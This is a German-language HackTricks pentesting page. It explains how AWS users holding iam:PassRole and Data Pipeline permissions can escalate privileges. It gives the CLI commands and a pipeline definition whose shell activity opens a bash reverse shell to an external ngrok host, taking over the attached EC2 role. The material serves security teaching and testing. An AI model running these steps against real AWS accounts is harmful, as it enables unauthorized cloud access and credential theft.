# AWS - Datapipeline Privesc {{#include ../../../banners/hacktricks-training.md}} ## datapipeline Für weitere Informationen über datapipeline siehe: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md {{#endref}} ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` Benutzer mit diesen **Berechtigungen können Privilegien erhöhen, indem sie eine Data Pipeline erstellen**, um beliebige Befehle mit den **Berechtigungen der zugewiesenen Rolle** auszuführen: ```bash aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string ``` Nach der Erstellung der Pipeline aktualisiert der Angreifer deren Definition, um spezifische Aktionen oder Ressourcenerstellungen festzulegen: ```json { "objects": [ { "id": "CreateDirectory", "type": "ShellCommandActivity", "command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", "runsOn": { "ref": "instance" } }, { "id": "Default", "scheduleType": "ondemand", "failureAndRerunMode": "CASCADE", "name": "Default", "role": "assumable_datapipeline", "resourceRole": "assumable_datapipeline" }, { "id": "instance", "name": "instance", "type": "Ec2Resource", "actionOnTaskFailure": "terminate", "actionOnResourceFailure": "retryAll", "maximumRetries": "1", "instanceType": "t2.micro", "securityGroups": ["default"], "role": "assumable_datapipeline", "resourceRole": "assumable_ec2_profile_instance" } ] } ``` > [!NOTE] > Beachten Sie, dass die **Rolle** in **Zeile 14, 15 und 27** eine Rolle sein muss, die **von datapipeline.amazonaws.com übernommen werden kann**, und die Rolle in **Zeile 28** muss eine **Rolle sein, die von ec2.amazonaws.com mit einem EC2-Profil-Instanz übernommen werden kann**. > > Darüber hinaus hat die EC2-Instanz nur Zugriff auf die Rolle, die von der EC2-Instanz übernommen werden kann (Sie können also nur diese stehlen). ```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json ``` Die **Pipeline-Definitionsdatei, die vom Angreifer erstellt wurde, enthält Anweisungen zur Ausführung von Befehlen** oder zur Erstellung von Ressourcen über die AWS-API, wobei die Rollenberechtigungen der Data Pipeline genutzt werden, um potenziell zusätzliche Berechtigungen zu erlangen. **Potenzielle Auswirkungen:** Direkte Privilegieneskalation zur angegebenen EC2-Dienstrolle. ## Referenzen - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}}